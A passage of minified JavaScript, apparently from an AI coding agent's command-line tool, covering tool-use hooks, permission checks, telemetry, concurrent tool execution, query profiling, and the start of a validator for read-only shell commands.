Zx6(K.name,q,z,w,A,H,G,A.abortController.signal))try{if(Z.message?.type==="attachment"&&Z.message.attachment.type==="hook_cancelled"){n("tengu_post_tool_failure_hooks_cancelled",{toolName:jK(K.name),queryChainId:A.queryTracking?.chainId,queryDepth:A.queryTracking?.depth}),yield{message:PK({type:"hook_cancelled",hookName:`PostToolUseFailure:${K.name}`,toolUseID:q,hookEvent:"PostToolUseFailure"})};continue}if(Z.message)yield{message:Z.message};if(Z.blockingError)yield{message:PK({type:"hook_blocking_error",hookName:`PostToolUseFailure:${K.name}`,toolUseID:q,hookEvent:"PostToolUseFailure",blockingError:Z.blockingError})};if(Z.additionalContexts&&Z.additionalContexts.length>0)yield{message:PK({type:"hook_additional_context",content:Z.additionalContexts,hookName:`PostToolUseFailure:${K.name}`,toolUseID:q,hookEvent:"PostToolUseFailure"})}}catch(W){let D=Date.now()-$;n("tengu_post_tool_failure_hook_error",{messageID:Y,toolName:jK(K.name),isMcp:K.isMcp??!1,duration:D,queryChainId:A.queryTracking?.chainId,queryDepth:A.queryTracking?.depth,...O?{mcpServerType:O}:{},...J?{requestId:J}:{}}),yield{message:PK({type:"hook_error_during_execution",content:KPA(W),hookName:`PostToolUseFailure:${K.name}`,toolUseID:q,hookEvent:"PostToolUseFailure"})}}}catch(_){KA(_ instanceof Error?_:Error(String(_)))}}async function*HHK(A,K,q,Y,z,w,H,J){let O=Date.now();try{let X=await A.getAppState();for await(let $ of _x6(K.name,Y,q,A,X.toolPermissionContext.mode,A.abortController.signal))try{if($.message)yield{type:"message",message:{message:$.message}};if($.blockingError){let _=$x6(`PreToolUse:${K.name}`,$.blockingError);yield{type:"hookPermissionResult",hookPermissionResult:{behavior:"deny",message:_,decisionReason:{type:"hook",hookName:`PreToolUse:${K.name}`,reason:_}}}}if($.preventContinuation){if(yield{type:"preventContinuation",shouldPreventContinuation:!0},$.stopReason)yield{type:"stopReason",stopReason:$.stopReason}}if($.permissionBehavior!==void 0){h(`Hook result has permissionBehavior=${$.permissionBehavior}`);let _={type:"hook",hookName:`PreToolUse:${K.name}`,reason:$.hookPermissionDecisionReason};if($.permissionBehavior==="allow")yield{type:"hookPermissionResult",hookPermissionResult:{behavior:"allow",updatedInput:$.updatedInput,decisionReason:_}};else if($.permissionBehavior==="ask")yield{type:"hookPermissionResult",hookPermissionResult:{behavior:"ask",updatedInput:$.updatedInput,message:$.hookPermissionDecisionReason||`Hook PreToolUse:${K.name} ${Xx6($.permissionBehavior)} this tool`,decisionReason:_}};else yield{type:"hookPermissionResult",hookPermissionResult:{behavior:$.permissionBehavior,message:$.hookPermissionDecisionReason||`Hook PreToolUse:${K.name} ${Xx6($.permissionBehavior)} this tool`,decisionReason:_}}}if($.updatedInput&&$.permissionBehavior===void 0)yield{type:"hookUpdatedInput",updatedInput:$.updatedInput};if($.additionalContexts&&$.additionalContexts.length>0)yield{type:"additionalContext",message:{message:PK({type:"hook_additional_context",content:$.additionalContexts,hookName:`PreToolUse:${K.name}`,toolUseID:Y,hookEvent:"PreToolUse"})}};if(A.abortController.signal.aborted){n("tengu_pre_tool_hooks_cancelled",{toolName:jK(K.name),queryChainId:A.queryTracking?.chainId,queryDepth:A.queryTracking?.depth}),yield{type:"message",message:{message:PK({type:"hook_cancelled",hookName:`PreToolUse:${K.name}`,toolUseID:Y,hookEvent:"PreToolUse"})}},yield{type:"stop"};return}}catch(_){KA(_ instanceof Error?_:Error(String(_)));let G=Date.now()-O;n("tengu_pre_tool_hook_error",{messageID:z,toolName:jK(K.name),isMcp:K.isMcp??!1,duration:G,queryChainId:A.queryTracking?.chainId,queryDepth:A.queryTracking?.depth,...H?{mcpServerType:H}:{},...w?{requestId:w}:{}}),yield{type:"message",message:{message:PK({type:"hook_error_during_execution",content:KPA(_),hookName:`PreToolUse:${K.name}`,toolUseID:Y,hookEvent:"PreToolUse"})}},yield{type:"stop"}}}catch(X){KA(X instanceof Error?X:Error(String(X))),yield{type:"stop"};return}}var JHK=k(()=>{l1();sO();C1();Z1();sD();JP();W$();hf1()});function OHK(A,K){if(!A.startsWith("mcp__"))return;let q=A_(A);if(!q)return;return K.find((Y)=>w3(Y.name)===q.serverName)}function bk2(A,K){let q=OHK(A,K);if(q?.type==="connected")return q.config.type??"stdio";return}function xk2(A,K){let q=OHK(A,K);if(q?.type!=="connected")return;return H0(q.config)}async function*oUA(A,K,q,Y){let z=A.name,w=uQ(Y.options.tools,z);if(!w){let _=uQ(Ae(),z);if(_&&_.aliases?.includes(z))w=_}let H=K.message.id,J=K.requestId,O=bk2(z,Y.options.mcpClients),X=xk2(z,Y.options.mcpClients);if(!w){let _=jK(z);n("tengu_tool_use_error",{error:`No such tool available: ${_}`,toolName:_,toolUseID:A.id,isMcp:z.startsWith("mcp__"),queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}}),yield{message:t1({content:[{type:"tool_result",content:`<tool_use_error>Error: No such tool available: ${z}</tool_use_error>`,is_error:!0,tool_use_id:A.id}],toolUseResult:`Error: No such tool available: ${z}`,sourceToolAssistantUUID:K.uuid})};return}let $=A.input;try{if(Y.abortController.signal.aborted){n("tengu_tool_use_cancelled",{toolName:jK(w.name),toolUseID:A.id,isMcp:w.isMcp??!1,queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}});let _=Dx6(A.id);yield{message:t1({content:[_],toolUseResult:fDA,sourceToolAssistantUUID:K.uuid})};return}for await(let _ of uk2(w,A.id,$,Y,q,K,H,J,O,X))yield _}catch(_){KA(_ instanceof Error?_:Error(String(_)));let G=_ instanceof Error?_.message:String(_),W=`Error calling tool${w?` (${w.name})`:""}: ${G}`;yield{message:t1({content:[{type:"tool_result",content:`<tool_use_error>${W}</tool_use_error>`,is_error:!0,tool_use_id:A.id}],toolUseResult:W,sourceToolAssistantUUID:K.uuid})}}}function uk2(A,K,q,Y,z,w,H,J,O,X){let $=new rUA;return Bk2(A,K,q,Y,z,w,H,J,O,X,(_)=>{n("tengu_tool_use_progress",{messageID:H,toolName:jK(A.name),isMcp:A.isMcp??!1,queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}}),$.enqueue({message:XHK({toolUseID:_.toolUseID,parentToolUseID:K,data:_.data})})}).then((_)=>{for(let G of _)$.enqueue(G)}).catch((_)=>{$.error(_)}).finally(()=>{$.done()}),$}async function Bk2(A,K,q,Y,z,w,H,J,O,X,$){let _=A.inputSchema.safeParse(q);if(!_.success){let R=YHK(A.name,_.error);return n("tengu_tool_use_error",{error:"InputValidationError",errorDetails:R.slice(0,2000),messageID:H,toolName:jK(A.name),isMcp:A.isMcp??!1,queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}}),[{message:t1({content:[{type:"tool_result",content:`<tool_use_error>InputValidationError: ${R}</tool_use_error>`,is_error:!0,tool_use_id:K}],toolUseResult:`InputValidationError: ${_.error.message}`,sourceToolAssistantUUID:w.uuid})}]}let G=await A.validateInput?.(_.data,Y);if(G?.result===!1)return n("tengu_tool_use_error",{messageID:H,toolName:jK(A.name),error:G.message,errorCode:G.errorCode,isMcp:A.isMcp??!1,queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}}),[{message:t1({content:[{type:"tool_result",content:`<tool_use_error>${G.message}</tool_use_error>`,is_error:!0,tool_use_id:K}],toolUseResult:`Error: ${G.message}`,sourceToolAssistantUUID:w.uuid})}];if(A.name===G7&&_.data&&"command"in _.data){let R=await Y.getAppState();RqK(_.data.command,R.toolPermissionContext,Y.abortController.signal,Y.options.isNonInteractiveSession)}let Z=[],W=_.data,D=!1,j,M;for await(let R of HHK(Y,A,W,K,w.message.id,J,O,X))switch(R.type){case"message":if(R.message.message.type==="progress")$(R.message.message);else Z.push(R.message);break;case"hookPermissionResult":M=R.hookPermissionResult;break;case"hookUpdatedInput":W=R.updatedInput;break;case"preventContinuation":D=R.shouldPreventContinuation;break;case"stopReason":j=R.stopReason;break;case"additionalContext":Z.push(R.message);break;case"stop":return Z.push({message:t1({content:[Dx6(K)],toolUseResult:`Error: ${j}`,sourceToolAssistantUUID:w.uuid})}),Z}let P={};if(W&&typeof W==="object"){if(A.name===eq&&"file_path"in W)P.file_path=String(W.file_path);else if((A.name===m5||A.name===Qz)&&"file_path"in W)P.file_path=String(W.file_path);else if(A.name===G7&&"command"in W){let R=W;P.full_command=R.command}}WP7(A.name,P),DP7();let f;if(M!==void 0&&M.behavior==="allow"&&!A.requiresUserInteraction?.()&&!Y.requireCanUseTool)h(`Hook approved tool use for ${A.name}, bypassing permission check`),f=M;else if(M!==void 0&&M.behavior==="allow"&&(A.requiresUserInteraction?.()||Y.requireCanUseTool)){if(h(`Hook approved tool use for ${A.name}, but canUseTool is required`),M.updatedInput)W=M.updatedInput;f=await z(A,W,Y,w,K)}else if(M!==void 0&&M.behavior==="deny")h(`Hook denied tool use for ${A.name}`),f=M;else{let R=M?.behavior==="ask"?M:void 0;if(M?.behavior==="ask"&&M.updatedInput)W=M.updatedInput;f=await z(A,W,Y,w,K,R)}if(f.decisionReason?.type==="hook"&&f.decisionReason.hookName==="PermissionRequest"&&f.behavior!=="ask")Z.push({message:PK({type:"hook_permission_decision",decision:f.behavior,toolUseID:K,hookEvent:"PermissionRequest"})});if(f.behavior!=="allow"){let R=Y.toolDecisions?.get(K);hP6("reject",R?.source||"unknown"),AG1(),n("tengu_tool_use_can_use_tool_rejected",{messageID:H,toolName:jK(A.name),queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}});let x=f.message;if(D&&!x)x=`Execution stopped by PreToolUse hook${j?`: ${j}`:""}`;return Z.push({message:t1({content:[{type:"tool_result",content:x,is_error:!0,tool_use_id:K}],toolUseResult:`Error: ${x}`,sourceToolAssistantUUID:w.uuid})}),Z}if(n("tengu_tool_use_can_use_tool_allowed",{messageID:H,toolName:jK(A.name),queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}}),f.updatedInput!==void 0)W=f.updatedInput;let N={};if(A.name===G7&&"command"in W){let R=W;N={bash_command:R.command.trim().split(/\s+/)[0]||"",full_command:R.command,...R.timeout!==void 0&&{timeout:R.timeout},...R.description!==void 0&&{description:R.description},..."dangerouslyDisableSandbox"in R&&{dangerouslyDisableSandbox:R.dangerouslyDisableSandbox}}}let T=Y.toolDecisions?.get(K);hP6(T?.decision||"unknown",T?.source||"unknown"),jP7();let C=Date.now();try{let R=await A.call(W,{...Y,userModified:f.userModified??!1},z,w,(HA)=>{$({toolUseID:HA.toolUseID,data:HA.data})}),x=Date.now()-C;if(XR1(x),R.data&&typeof R.data==="object"){let HA={};if(A.name===eq&&"content"in R.data){if("file_path"in W)HA.file_path=String(W.file_path);HA.content=String(R.data.content)}if((A.name===m5||A.name===Qz)&&"file_path"in W){if(HA.file_path=String(W.file_path),A.name===m5&&"diff"in R.data)HA.diff=String(R.data.diff);if(A.name===Qz&&"content"in W)HA.content=String(W.content)}if(A.name===G7&&"command"in W){let _A=W;if(HA.bash_command=_A.command,"output"in R.data)HA.output=String(R.data.output)}if(Object.keys(HA).length>0)MP7("tool.output",HA)}if(typeof R==="object"&&"structured_output"in R)Z.push({message:PK({type:"structured_output",data:R.structured_output})});bP6({success:!0});let y=R.data&&typeof R.data==="object"?UA(R.data):String(R.data??"");AG1(y);let B=0;try{B=UA(R.data).length}catch(HA){KA(HA instanceof Error?HA:Error(String(HA)))}let b;if(W&&typeof W==="object"){if((A.name===eq||A.name===m5||A.name===Qz)&&"file_path"in W)b=SIA(String(W.file_path));else if(A.name===ZD&&"notebook_path"in W)b=SIA(String(W.notebook_path));else if(A.name===G7&&"command"in W){let HA=W;b=Ey4(HA.command,HA._simulatedSedEdit?.filePath)}}n("tengu_tool_use_success",{messageID:H,toolName:jK(A.name),isMcp:A.isMcp??!1,durationMs:x,toolResultSizeBytes:B,...b!==void 0&&{fileExtension:b},queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}}),h57(A.name);let F=aT(A)?qM6(A.name):null,Q=h36(),u=Q?b36(A.name):void 0,d=Q?x36(A.name,W):void 0;uG("tool_result",{tool_name:jK(A.name),success:"true",duration_ms:String(x),...Object.keys(N).length>0&&{tool_parameters:UA(N)},tool_result_size_bytes:String(B),...T&&{decision_source:T.source,decision_type:T.decision},...F?{mcp_server_scope:F}:{},...u?{mcp_server_name:u.serverName,mcp_tool_name:u.mcpToolName}:{},...d?{skill_name:d}:{}});let r=R.data,c=[],YA=R.contextModifier,e=R.mcpMeta;async function qA(HA){let a=[await $X1(A,HA,K)];if("acceptFeedback"in f&&f.acceptFeedback)a.push({type:"text",text:f.acceptFeedback});Z.push({message:t1({content:a,toolUseResult:Y.agentId?void 0:HA,mcpMeta:Y.agentId?void 0:e,sourceToolAssistantUUID:w.uuid}),contextModifier:YA?{toolUseID:K,modifyContext:YA}:void 0})}if(!aT(A))await qA(r);for await(let HA of zHK(Y,A,K,w.message.id,W,r,J,O,X))if("updatedMCPToolOutput"in HA){if(aT(A))r=HA.updatedMCPToolOutput}else if(aT(A))c.push(HA);else Z.push(HA);if(aT(A))await qA(r);if(R.newMessages&&R.newMessages.length>0)for(let HA of R.newMessages)Z.push({message:HA});if(D)Z.push({message:PK({type:"hook_stopped_continuation",message:j||"Execution stopped by hook",hookName:`PreToolUse:${A.name}`,toolUseID:K,hookEvent:"PreToolUse"})});for(let HA of c)Z.push(HA);return Z}catch(R){let x=Date.now()-C;if(XR1(x),bP6({success:!1,error:R instanceof Error?R.message:String(R)}),AG1(),R instanceof o$1)Y.setAppState((F)=>{let Q=R.serverName,u=F.mcp.clients.findIndex((c)=>c.name===Q);if(u===-1)return F;let d=F.mcp.clients[u];if(!d||d.type!=="connected")return F;let r=[...F.mcp.clients];return r[u]={name:Q,type:"needs-auth",config:d.config},{...F,mcp:{...F.mcp,clients:r}}});if(!(R instanceof y2)){if(!(R instanceof bR))KA(R instanceof Error?R:Error(String(R)));n("tengu_tool_use_error",{messageID:H,toolName:jK(A.name),error:R instanceof dg?R.telemetryMessage.slice(0,200):R instanceof Error?R.constructor.name:"UnknownError",isMcp:A.isMcp??!1,queryChainId:Y.queryTracking?.chainId,queryDepth:Y.queryTracking?.depth,...O?{mcpServerType:O}:{},...X?{mcpServerBaseUrl:X}:{},...J?{requestId:J}:{}});let F=aT(A)?qM6(A.name):null,Q=h36(),u=Q?b36(A.name):void 0,d=Q?x36(A.name,W):void 0;uG("tool_result",{tool_name:jK(A.name),use_id:K,success:"false",duration_ms:String(x),error:R instanceof Error?R.message:String(R),...Object.keys(N).length>0&&{tool_parameters:UA(N)},...T&&{decision_source:T.source,decision_type:T.decision},...F?{mcp_server_scope:F}:{},...u?{mcp_server_name:u.serverName,mcp_tool_name:u.mcpToolName}:{},...d?{skill_name:d}:{}})}let y=KPA(R),B=R instanceof y2,b=[];for await(let F of wHK(Y,A,K,H,W,y,B,J,O,X))b.push(F);return[{message:t1({content:[{type:"tool_result",content:y,is_error:!0,tool_use_id:K}],toolUseResult:`Error: ${y}`,sourceToolAssistantUUID:w.uuid})},...b]}finally{if(T)Y.toolDecisions?.delete(K)}}var Wx6=k(()=>{l1();sO();ea();Ys();q6();cO();jV();f_();iw();C1();Z1();Pa();oJ1();$8();sD();tN();W$();Vf();Jx6();b1();n3A();hf1();JHK()});class aUA{toolDefinitions;canUseTool;tools=[];toolUseContext;hasErrored=!1;discarded=!1;progressAvailableResolve;constructor(A,K,q){this.toolDefinitions=A;this.canUseTool=K;this.toolUseContext=q}discard(){this.discarded=!0}addTool(A,K){let q=this.toolDefinitions.find((w)=>w.name===A.name);if(!q){this.tools.push({id:A.id,block:A,assistantMessage:K,status:"completed",isConcurrencySafe:!0,pendingProgress:[],results:[t1({content:[{type:"tool_result",content:`<tool_use_error>Error: No such tool available: ${A.name}</tool_use_error>`,is_error:!0,tool_use_id:A.id}],toolUseResult:`Error: No such tool available: ${A.name}`,sourceToolAssistantUUID:K.uuid})]});return}let Y=q.inputSchema.safeParse(A.input),z=Y?.success?q.isConcurrencySafe(Y.data):!1;this.tools.push({id:A.id,block:A,assistantMessage:K,status:"queued",isConcurrencySafe:z,pendingProgress:[]}),this.processQueue()}canExecuteTool(A){let K=this.tools.filter((q)=>q.status==="executing");return K.length===0||A&&K.every((q)=>q.isConcurrencySafe)}async processQueue(){for(let A of this.tools){if(A.status!=="queued")continue;if(this.canExecuteTool(A.isConcurrencySafe))await this.executeTool(A);else if(!A.isConcurrencySafe)break}}createSyntheticErrorMessage(A,K,q){if(K==="user_interrupted")return t1({content:[{type:"tool_result",content:C5A,is_error:!0,tool_use_id:A}],toolUseResult:"User rejected tool use",sourceToolAssistantUUID:q.uuid});if(K==="streaming_fallback")return t1({content:[{type:"tool_result",content:"<tool_use_error>Error: Streaming fallback - tool execution discarded</tool_use_error>",is_error:!0,tool_use_id:A}],toolUseResult:"Streaming fallback - tool execution discarded",sourceToolAssistantUUID:q.uuid});return t1({content:[{type:"tool_result",content:"<tool_use_error>Sibling tool call errored</tool_use_error>",is_error:!0,tool_use_id:A}],toolUseResult:"Sibling tool call errored",sourceToolAssistantUUID:q.uuid})}getAbortReason(){if(this.discarded)return"streaming_fallback";if(this.hasErrored)return"sibling_error";if(this.toolUseContext.abortController.signal.aborted)return"user_interrupted";return null}async executeTool(A){A.status="executing",this.toolUseContext.setInProgressToolUseIDs((w)=>new Set([...w,A.id]));let K=[],q=[],z=(async()=>{let w=this.getAbortReason();if(w){K.push(this.createSyntheticErrorMessage(A.id,w,A.assistantMessage)),A.results=K,A.contextModifiers=q,A.status="completed";return}let H=oUA(A.block,A.assistantMessage,this.canUseTool,this.toolUseContext),J=!1;for await(let O of H){let X=this.getAbortReason();if(X&&!J){K.push(this.createSyntheticErrorMessage(A.id,X,A.assistantMessage));break}if(O.message.type==="user"&&Array.isArray(O.message.message.content)&&O.message.message.content.some((_)=>_.type==="tool_result"&&_.is_error===!0))this.hasErrored=!0,J=!0;if(O.message)if(O.message.type==="progress"){if(A.pendingProgress.push(O.message),this.progressAvailableResolve)this.progressAvailableResolve(),this.progressAvailableResolve=void 0}else K.push(O.message);if(O.contextModifier)q.push(O.contextModifier.modifyContext)}if(A.results=K,A.contextModifiers=q,A.status="completed",!A.isConcurrencySafe&&q.length>0)for(let O of q)this.toolUseContext=O(this.toolUseContext)})();A.promise=z,z.finally(()=>{this.processQueue()})}*getCompletedResults(){if(this.discarded)return;for(let A of this.tools){while(A.pendingProgress.length>0)yield{message:A.pendingProgress.shift()};if(A.status==="yielded")continue;if(A.status==="completed"&&A.results){A.status="yielded";for(let K of A.results)yield{message:K};mk2(this.toolUseContext,A.id)}else if(A.status==="executing"&&!A.isConcurrencySafe)break}}hasPendingProgress(){return this.tools.some((A)=>A.pendingProgress.length>0)}async*getRemainingResults(){if(this.discarded)return;while(this.hasUnfinishedTools()){await this.processQueue();for(let A of this.getCompletedResults())yield A;if(this.hasExecutingTools()&&!this.hasCompletedResults()&&!this.hasPendingProgress()){let A=this.tools.filter((q)=>q.status==="executing"&&q.promise).map((q)=>q.promise),K=new Promise((q)=>{this.progressAvailableResolve=q});if(A.length>0)await Promise.race([...A,K])}}for(let A of this.getCompletedResults())yield A}hasCompletedResults(){return this.tools.some((A)=>A.status==="completed")}hasExecutingTools(){return this.tools.some((A)=>A.status==="executing")}hasUnfinishedTools(){return this.tools.some((A)=>A.status!=="yielded")}getUpdatedContext(){return this.toolUseContext}}function mk2(A,K){A.setInProgressToolUseIDs((q)=>new Set([...q].filter((Y)=>Y!==K)))}var $HK=k(()=>{Wx6();$8()});function Vx6(){if(!jx6)jx6=CA("perf_hooks").performance;return jx6}function ZHK(){if(!sUA)return;Vx6().clearMarks(),Px6.clear(),Mx6=null,GHK++,W5("query_user_input_received")}function W5(A){if(!sUA)return;let K=Vx6();if(K.mark(A),Px6.set(A,process.memoryUsage()),A==="query_first_chunk_received"&&Mx6===null){let q=K.getEntriesByType("mark");if(q.length>0)Mx6=q[q.length-1]?.startTime??0}}function WHK(){if(!sUA)return;W5("query_profile_end")}function qe(A){return A.toFixed(3)}function _HK(A){return(A/1024/1024).toFixed(2)}function gk2(A,K){if(K==="query_user_input_received")return"";if(A>1000)return" ⚠️ VERY SLOW";if(A>100)return" ⚠️ SLOW";if(K.includes("git_status")&&A>50)return" ⚠️ git status";if(K.includes("tool_schema")&&A>50)return" ⚠️ tool schemas";if(K.includes("client_creation")&&A>50)return" ⚠️ client creation";return""}function Fk2(){if(!sUA)return"Query profiling not enabled (set CLAUDE_CODE_PROFILE_QUERY=1)";let K=Vx6().getEntriesByType("mark");if(K.length===0)return"No query profiling checkpoints recorded";let q=[];q.push("=".repeat(80)),q.push(`QUERY PROFILING REPORT - Query #${GHK}`),q.push("=".repeat(80)),q.push("");let Y=K[0]?.startTime??0,z=Y,w=0,H=0;for(let X of K){let $=X.startTime-Y,_=qe($),G=X.startTime-z,Z=qe(G),W=Px6.get(X.name),D=gk2(G,X.name),j=W?` | RSS: ${_HK(W.rss)}MB, Heap: ${_HK(W.heapUsed)}MB`:"";if(q.push(`[+${_.padStart(10)}ms] (+${Z.padStart(9)}ms) ${X.name}${D}${j}`),X.name==="query_api_request_sent")w=$;if(X.name==="query_first_chunk_received")H=$;z=X.startTime}let J=K[K.length-1],O=J?J.startTime-Y:0;if(q.push(""),q.push("-".repeat(80)),H>0){let X=w,$=H-w,_=(X/H*100).toFixed(1),G=($/H*100).toFixed(1);q.push(`Total TTFT: ${qe(H)}ms`),q.push(` - Pre-request overhead: ${qe(X)}ms (${_}%)`),q.push(` - Network latency: ${qe($)}ms (${G}%)`)}else q.push(`Total time: ${qe(O)}ms`);return q.push(Qk2(K,Y)),q.push("=".repeat(80)),q.join(` `)}function Qk2(A,K){let q=[{name:"Context loading",start:"query_context_loading_start",end:"query_context_loading_end"},{name:"Microcompact",start:"query_microcompact_start",end:"query_microcompact_end"},{name:"Autocompact",start:"query_autocompact_start",end:"query_autocompact_end"},{name:"Query setup",start:"query_setup_start",end:"query_setup_end"},{name:"Tool schemas",start:"query_tool_schema_build_start",end:"query_tool_schema_build_end"},{name:"Message normalization",start:"query_message_normalization_start",end:"query_message_normalization_end"},{name:"Client creation",start:"query_client_creation_start",end:"query_client_creation_end"},{name:"Network TTFB",start:"query_api_request_sent",end:"query_first_chunk_received"},{name:"Tool execution",start:"query_tool_execution_start",end:"query_tool_execution_end"}],Y=new Map(A.map((H)=>[H.name,H.startTime-K])),z=[];z.push(""),z.push("PHASE BREAKDOWN:");for(let H of q){let J=Y.get(H.start),O=Y.get(H.end);if(J!==void 0&&O!==void 0){let X=O-J,$="█".repeat(Math.min(Math.ceil(X/10),50));z.push(` ${H.name.padEnd(22)} ${qe(X).padStart(10)}ms ${$}`)}}let w=Y.get("query_api_request_sent");if(w!==void 0)z.push(""),z.push(` ${"Total pre-API overhead".padEnd(22)} ${qe(w).padStart(10)}ms`);return z.join(` `)}function DHK(){if(!sUA)return;h(Fk2())}var sUA=!1,Px6,GHK=0,Mx6=null,jx6=null;var qPA=k(()=>{Z1();Px6=new Map});function Uk2(){return parseInt(process.env.CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY||"",10)||10}async function*bf1(A,K,q,Y){let z=Y;for(let{isConcurrencySafe:w,blocks:H}of pk2(A,z))if(w){let J={};for await(let O of ck2(H,K,q,z)){if(O.contextModifier){let{toolUseID:X,modifyContext:$}=O.contextModifier;if(!J[X])J[X]=[];J[X].push($)}yield{message:O.message,newContext:z}}for(let O of H){let X=J[O.id];if(!X)continue;for(let $ of X)z=$(z)}yield{newContext:z}}else for await(let J of dk2(H,K,q,z)){if(J.newContext)z=J.newContext;yield{message:J.message,newContext:z}}}function pk2(A,K){return A.reduce((q,Y)=>{let z=K.options.tools.find((J)=>J.name===Y.name),w=z?.inputSchema.safeParse(Y.input),H=w?.success?(()=>{try{return Boolean(z?.isConcurrencySafe(w.data))}catch{return!1}})():!1;if(H&&q[q.length-1]?.isConcurrencySafe)q[q.length-1].blocks.push(Y);else q.push({isConcurrencySafe:H,blocks:[Y]});return q},[])}async function*dk2(A,K,q,Y){let z=Y;for(let w of A){Y.setInProgressToolUseIDs((H)=>new Set([...H,w.id]));for await(let H of oUA(w,K.find((J)=>J.message.content.some((O)=>O.type==="tool_use"&&O.id===w.id)),q,z)){if(H.contextModifier)z=H.contextModifier.modifyContext(z);yield{message:H.message,newContext:z}}jHK(Y,w.id)}}async function*ck2(A,K,q,Y){yield*kWA(A.map(async function*(z){Y.setInProgressToolUseIDs((w)=>new Set([...w,z.id])),yield*oUA(z,K.find((w)=>w.message.content.some((H)=>H.type==="tool_use"&&H.id===z.id)),q,Y),jHK(Y,z.id)}),Uk2())}function jHK(A,K){A.setInProgressToolUseIDs((q)=>new Set([...q].filter((Y)=>Y!==K)))}var fx6=k(()=>{zs();Wx6()});import{randomUUID as lk2}from"crypto";function xf1(A){return async(K)=>{try{if(!await A.shouldRun(K))return;let Y=lk2(),z=A.buildMessages(K);K.queryMessageCount=z.length;let w=A.systemPrompt?[A.systemPrompt]:K.systemPrompt,J=A.useTools??!0?K.toolUseContext.options.tools:[],O=A.getModel(),X=await bp({messages:z,systemPrompt:w,maxThinkingTokens:0,tools:J,signal:e7().signal,options:{getToolPermissionContext:async()=>{return(await K.toolUseContext.getAppState()).toolPermissionContext},model:O,toolChoice:void 0,isNonInteractiveSession:K.toolUseContext.options.isNonInteractiveSession,hasAppendSystemPrompt:!!K.toolUseContext.options.appendSystemPrompt,temperatureOverride:0,agents:K.toolUseContext.options.agentDefinitions.activeAgents,querySource:A.name,mcpTools:[],agentId:K.toolUseContext.agentId}}),$=X.message.content.filter((_)=>_.type==="text").map((_)=>_.text).join("").trim();try{let _=A.parseResponse($,K);A.logResult({type:"success",queryName:A.name,result:_,messageId:X.message.id,model:O,uuid:Y},K)}catch(_){A.logResult({type:"error",queryName:A.name,error:_,uuid:Y},K)}}catch(q){KA(q instanceof Error?q:Error(`API query hook ${A.name} failed`))}}}var Nx6=k(()=>{sz();Jz();C1()});async function MHK(){return}async function PHK(A){if(Tx6)await Tx6(A)}var Tx6=null;var vx6=k(()=>{Nx6();$8();l1();B7();K7();Ke()});import{join as tUA}from"path";function nk2(){return ik2}function fHK(A,K){switch(K){case"none":return!1;case"number":return/^\d+$/.test(A);case"string":return!0;case"char":return A.length===1;case"{}":return A==="{}";case"EOF":return A==="EOF";default:return!1}}function ok2(A){let K=Bz(A,(X)=>`$${X}`);if(!K.success)return!1;let q=K.tokens.map((X)=>{if(typeof X!=="string"){if(X=X,X.op==="glob")return X.pattern}return X});if(q.some((X)=>typeof X!=="string"))return!1;let z=q;if(z.length===0)return!1;let w,H=0,J=nk2();for(let[X]of Object.entries(J)){let $=X.split(" ");if(z.length>=$.length){let _=!0;for(let G=0;G<$.length;G++)if(z[G]!==$[G]){_=!1;break}if(_){w=J[X],H=$.length;break}}}if(!w)return!1;if(z[0]==="git"&&z[1]==="ls-remote")for(let X=2;X<z.length;X++){let $=z[X];if($&&!$.startsWith("-")){if($.includes("://"))return!1;if($.includes("@")||$.includes(":"))return!1;if($.includes("$"))return!1}}let O=H;while(O<z.length){let X=z[O];if(!X){O++;continue}if(z[0]==="xargs"&&(!X.startsWith("-")||X==="--")){if(X==="--"&&O+1<z.length)O++,X=z[O];if(X&&rk2.includes(X))break;return!1}if(X==="--"){O++;break}if(X.startsWith("-")&&X.length>1&&VHK.test(X)){let[$,..._]=X.split("="),G=_.join("=");if(!$)return!1;let Z=w.safeFlags[$];if(!Z){if(z[0]==="git"&&$.match(/^-\d+$/)){O++;continue}if((z[0]==="grep"||z[0]==="rg")&&$.startsWith("-")&&!$.startsWith("--")&&$.length>2){let W=$.substring(0,2),D=$.substring(2);if(w.safeFlags[W]&&/^\d+$/.test(D)){let j=w.safeFlags[W];if(j==="number"||j==="string")if(fHK(D,j)){O++;continue}else return!1}}if($.startsWith("-")&&!$.startsWith("--")&&$.length>2){for(let W=1;W<$.length;W++){let D="-"+$[W];if(!w.safeFlags[D])return!1}O++;continue}else return!1}if(Z==="none"){if(G)return!1;O++}else{let W;if(G)W=G,O++;else{if(O+1>=z.length||z[O+1]&&z[O+1].startsWith("-")&&z[O+1].length>1&&VHK.test(z[O+1]))return!1;W=z[O+1]||"",O+=2}if(Z==="string"&&W.startsWith("-"))if($==="--sort"&&z[0]==="git"&&W.match(/^-[a-zA-Z]/));else return!1;if(!fHK(W,Z))return!1}}else O++}if(w.regex&&!w.regex.test(A))return!1;if(!w.regex&&/`/.test(A))return!1;if(!w.regex&&(z[0]==="rg"||z[0]==="grep")&&/[\n\r]/.test(A))return!1;if(w.additionalCommandIsDangerousCallback&&w.additionalCommandIsDangerousCallback(A))return!1;return!0}function ak2(A){return new RegExp(`^${A}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)}function 